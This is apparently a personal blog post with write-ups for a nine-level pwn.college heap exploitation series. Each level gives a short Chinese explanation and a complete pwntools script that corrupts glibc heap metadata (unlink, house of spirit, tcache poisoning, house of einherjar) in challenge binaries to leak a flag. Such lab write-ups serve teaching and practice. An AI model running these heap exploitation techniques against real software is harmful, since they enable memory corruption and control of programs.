2778 words
14 minutes
Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed)
2025-10-17
2025-10-31

前言#

冲冲冲,尽快拿下这一章然后学 FSOP,同时空下来学点 IoT,提前进军 realworld 。

Level 1.0#

Information#

  • Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

先填满 tcache,然后再申请同样大小就进入 fastbin 了,接着释放,让它可再次被分配,由于 malloc 超出 smallbin 范围的 chunk 会先触发 malloc_consolidate,强制合并所有 fastbin 到 top chunk,所以 read_flag 可以返回我们 fastbin 中那个 free 的地址,而由于 free 的时候并没有清除结构体中保存的指针,所以我们可以通过 puts UAF 泄漏其值。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level1.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("/challenge/lib/libc.so.6")
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx))
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
for i in range(7):
malloc(i, 0)
malloc(7, 0)
for i in range(7):
free(i)
raw_input("DEBUG")
free(7)
read_flag()
puts(7)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 2.0#

Information#

  • Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 1434);
size_4 = malloc(0x59Au);
printf("[*] flag_buffer = %p\n", size_4);
}
fd = open("/flag", 0);
read(fd, size_4, 0x80u);
puts("[*] read the flag!");
}

这次就是 read_flag 中会执行两次 malloc,flag 被写到最后一次 malloc 返回的地址中。

那还不简单,丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中,这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level2.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def calloc(idx, size):
target.sendlineafter(b": ", b"calloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx))
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
for i in range(7):
malloc(i, 0)
for i in range(7):
free(i)
calloc(0, 0x59A)
calloc(1, 0x59A)
calloc(2, 0)
free(1)
free(0)
raw_input("DEBUG")
read_flag()
puts(1)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 3.0#

Information#

  • Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

和上题类似,区别在于这次我们可以 malloc 的大小被限制为必须 > 0x41F,而 read_flag 内部使用的 malloc 大小为 0x390,导致无法精确分配到我们想要的 chunk,咋办?

回忆一下 malloc 和相邻 chunk consolidation 的机制,我们注意到 malloc 的查找顺序为 tcachebins -> fastbins -> smallbins -> unsorted bins -> ... 由于这里我们只能请求 > 0x41F 大小的 chunk,所以可以直接排除 tcachebinsfastbinssmallbins 的可能性,那么 malloc 会直接查 unsorted bins,有合适的就直接返回,如果远大于请求大小就切割然后归类,不够就去下一个 bin 中找……

那我们只要设计一个 [free chunk with controled idx][guard][free chunk with controled idx][guard]... 这样的堆布局,重复 11 组即可。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level3.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx))
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
for i in range(12):
# raw_input("DEBUG")
malloc(i, 0x420)
# raw_input("DEBUG")
malloc(15, 0x420)
for i in range(12):
# raw_input("DEBUG")
free(i)
read_flag()
puts(11)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 4.0#

Information#

  • Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

这题就是打个高版本 unlink,看了下,发现 2.41 的打法也是一样的,那我盲猜 2.42 应该也没变。

不会 unlink 的可以看我写的 Doubly Linked, Doubly Doomed

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./toddlerheap_level4.0_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx).encode())
def safe_read(idx, data):
target.sendlineafter(b": ", b"safe_read")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendline(data)
def send_flag():
target.sendlineafter(b": ", b"send_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
malloc(0, 0xBB8 * 3)
free(0)
malloc(15, 0xBB8) # guard
malloc(1, 0xBB8)
malloc(2, 0xBB8)
payload = flat(
b"A" * 0xBB0,
0,
0xBC1,
0, # prev_size
(0xBC0 - 0x10) | 0x1, # chunk_size
0x404130, # fd
0x404138, # bk
0, # fd_nextsize
0, # bk_nextsize
b"A" * 0xB80,
0xBC0 - 0x10, # prev_size
0xBC1 & ~0x1, # chunk_size
)
raw_input("DEBUG")
safe_read(0, payload)
free(2)
payload = flat(
b"A" * 0x98,
0x1,
)
raw_input("DEBUG")
safe_read(1, payload)
send_flag()
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 5.0#

Information#

  • Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

也是 unlink,unlink 以后我们就能控制 alloc_struct 了,由于这里面保存的都是 malloc 的返回值,所以我们还可以利用它来泄漏堆地址,定位 flag 的位置,最后,只需要想办法让 malloc 返回 flag 的地址即可,我通过 overlapping chunks 实现的这一点。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level5.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx).encode())
def read(idx, size, data):
target.sendlineafter(b": ", b"read")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
target.send(data)
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
malloc(0, 0x420)
malloc(1, 0x420)
malloc(2, 0x420)
payload = flat(
0,
0x420,
0x404148 - 0x18,
0x404148 - 0x10,
0,
0,
b"A" * 0x3F0,
0x420,
0x431 & ~0x1,
)
# raw_input("DEBUG")
read(1, 0x430, payload)
free(2)
payload = flat(
b"A" * 0x10,
)
# raw_input("DEBUG")
read(1, 0x1337, payload)
puts(1)
target.recvuntil(b"Data: " + b"A" * 0x10)
heap = int.from_bytes(target.recvline().strip(), "little")
overlapping_chunksize = heap - 0x890
overlapping_chunk = heap - 0x880
target.success(f"heap: {hex(heap)}")
payload = flat(
0,
0,
overlapping_chunksize,
)
# raw_input("DEBUG")
read(1, 0x1337, payload)
payload = flat(
0,
0x881,
)
# raw_input("DEBUG")
read(0, 0x1337, payload)
payload = flat(
0,
0,
overlapping_chunk,
)
# raw_input("DEBUG")
read(1, 0x1337, payload)
free(0)
malloc(5, 0x870)
# raw_input("DEBUG")
read(5, 0x1337, flat(b"A" * 0x440))
puts(5)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 6.0#

Information#

  • Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

house of spirit 吧,只要伪造一个 free chunk,就可以让 calloc 返回这个 chunk 的地址了,但是要注意 calloc 会将 chunk 内存清空。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level6.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def calloc(idx, size):
target.sendlineafter(b": ", b"calloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx).encode())
def safer_read(idx, data):
target.sendlineafter(b": ", b"safer_read")
target.sendlineafter(b"Index: ", str(idx).encode())
target.send(data)
def read_to_global(size, data):
target.sendlineafter(b": ", b"read_to_global")
target.sendlineafter(b"read_size: ", str(size).encode())
target.send(data)
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
target.recvuntil(b"Reading the flag into ")
flag = int(target.recvline().strip()[:-1], 16)
for i in range(7):
calloc(i, 0)
free(i)
calloc(0, 0x10)
calloc(1, 0x10)
free(1)
free(0)
puts(1)
target.recvuntil(b"Data: ")
pos = int.from_bytes(target.recvline().strip(), "little")
puts(0)
target.recvuntil(b"Data: ")
heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"flag: {hex(flag)}")
target.success(f"pos: {hex(pos)}")
target.success(f"heap: {hex(heap)}")
payload = flat(
{
0x2E0: 0,
0x2E8: 0x21,
0x2F0: b"A" * 0x8,
}
)
# raw_input("DEBUG")
read_to_global(0x1337, payload)
# raw_input("DEBUG")
safer_read(0, flat(mangle(pos, flag - 0x28)))
calloc(0, 0x18)
raw_input("DEBUG")
calloc(1, 0x18)
raw_input("DEBUG")
safer_read(1, b"A" * 0x18)
puts(1)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 7.0#

Information#

  • Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

与上题类似,也是要想办法令 calloc 返回一个包含 flag 的 chunk,区别在于这次不能往 bss 写入数据了。但是调试发现,bss 保存 size 的位置与保存 flag 的位置距离很近,因此我们也就可以利用这一点来伪造 flag chunk 的 chunk_size,令 calloc 认为这是一个合法的 chunk 并返回。

虽然这次 bss 中存储 size 的位置和 flag 位置距离近看上去很刻意,但 bss 下面一般紧邻着 heap 确实是一个通常容易被忽略的地方,可以注意刻意培养一下自己对内存布局的敏感度:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x557a0689e000 0x557a0689f000 r--p 1000 0 toddlerheap_level7.0_patched
0x557a0689f000 0x557a068a0000 r-xp 1000 1000 toddlerheap_level7.0_patched
0x557a068a0000 0x557a068a1000 r--p 1000 2000 toddlerheap_level7.0_patched
0x557a068a1000 0x557a068a2000 r--p 1000 2000 toddlerheap_level7.0_patched
0x557a068a2000 0x557a068a3000 rw-p 1000 3000 toddlerheap_level7.0_patched
0x557a068a3000 0x557a068a7000 rw-p 4000 5000 toddlerheap_level7.0_patched
0x557a3c52b000 0x557a3c54c000 rw-p 21000 0 [heap]

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level7.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def calloc(idx, size):
target.sendlineafter(b": ", b"calloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx).encode())
def safer_read(idx, data):
target.sendlineafter(b": ", b"safer_read")
target.sendlineafter(b"Index: ", str(idx).encode())
target.send(data)
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
target.recvuntil(b"Reading the flag into ")
flag = int(target.recvline().strip()[:-1], 16)
for i in range(7):
calloc(i, 0)
free(i)
calloc(0, 0)
calloc(1, 0)
free(1)
free(0)
puts(1)
target.recvuntil(b"Data: ")
pos = int.from_bytes(target.recvline().strip(), "little")
puts(0)
target.recvuntil(b"Data: ")
heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"flag: {hex(flag)}")
target.success(f"pos: {hex(pos)}")
target.success(f"heap: {hex(heap)}")
calloc(10, 0x20)
calloc(0, 0x10)
calloc(1, 0x10)
free(1)
free(0)
payload = flat(
mangle(pos, flag - 0x28),
)
raw_input("DEBUG")
safer_read(0, payload)
calloc(0, 0x10)
# raw_input("DEBUG")
calloc(0, 0x18)
raw_input("DEBUG")
safer_read(0, b"A" * 0x18)
puts(0)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 8.0#

Information#

  • Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

本来以为是要打 largebin attack,结果发现不是,而是 house of einherjar……einherjar?E (FLAGS) in her jar !(误

对于这章都快结束了还没有学到 largebin attack 还是有点小失落的,不过却也为多学了一个 house 而高兴……

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level8.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx).encode())
def read_copy(idx, data):
target.sendlineafter(b": ", b"read_copy")
target.sendlineafter(b"Index: ", str(idx).encode())
target.send(data)
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
malloc(0, 0)
malloc(1, 0)
free(1)
free(0)
malloc(0, 0)
malloc(1, 0)
puts(1)
target.recvuntil(b"Data: ")
pos = int.from_bytes(target.recvline().strip(), "little")
puts(0)
target.recvuntil(b"Data: ")
heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"pos: {hex(pos)}")
target.success(f"heap: {hex(heap)}")
flag = heap + 0x8C0
fake_chunk = heap + 0x20
malloc(0, 0x38)
malloc(1, 0x28)
malloc(2, 0xF8)
payload = flat(
0,
0x60,
fake_chunk,
fake_chunk,
)
# raw_input("DEBUG")
read_copy(0, payload)
payload = flat(
b"A" * 0x20,
0x60,
)
# raw_input("DEBUG")
read_copy(1, payload)
for i in range(7, 14):
malloc(i, 0xF8)
for i in range(7, 14):
free(i)
# raw_input("DEBUG")
free(2)
malloc(3, 0x158)
malloc(4, 0x28)
free(4)
free(1)
payload = flat(
b"A" * 0x20,
0,
0x31,
mangle(pos, flag),
)
# raw_input("DEBUG")
read_copy(3, payload)
# raw_input("DEBUG")
malloc(0, 0x28)
malloc(0, 0x28)
# raw_input("DEBUG")
read_flag()
puts(0)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 9.0#

Information#

  • Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

free 后只是清空了 size 却没有清空 ptr,所以可以将 unsorted bin 中的 chunk 丢到 tcache 中,再利用 unsorted bin 的合并机制来 overlapping 破坏 tcache 的 fd 指针。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level9"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx).encode())
def safer_read(idx, data):
target.sendlineafter(b": ", b"safer_read")
target.sendlineafter(b"Index: ", str(idx).encode())
target.send(data)
def send_flag():
target.sendlineafter(b": ", b"send_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
authenticated = 0x404260
malloc(0, 0x10)
malloc(1, 0x10)
free(1)
free(0)
malloc(1, 0x10)
malloc(0, 0x10)
puts(0)
target.recvuntil(b"Data: ")
pos = int.from_bytes(target.recvline().strip(), "little")
puts(1)
target.recvuntil(b"Data: ")
heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
target.success(f"pos: {hex(pos)}")
target.success(f"heap: {hex(heap)}")
for i in range(7, 14):
malloc(i, 0x100)
malloc(0, 0x100)
malloc(1, 0x100)
malloc(15, 0x10) # guard
for i in range(7, 14):
free(i)
free(1)
free(0)
malloc(0, 0x100)
free(1)
malloc(0, 0x210)
payload = flat(
{
0x108: 0x111,
0x110: mangle(pos, authenticated),
}
)
# raw_input("DEBUG")
safer_read(0, payload)
malloc(0, 0x100)
malloc(0, 0x100)
safer_read(0, b"A")
send_flag()
quit()
target.interactive()
if __name__ == "__main__":
main()
Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed)
https://cubeyond.net/posts/write-ups/pwncollege-dynamic-allocator-exploitation/
Author
CuB3y0nd
Published at
2025-10-17
License
CC BY-NC-SA 4.0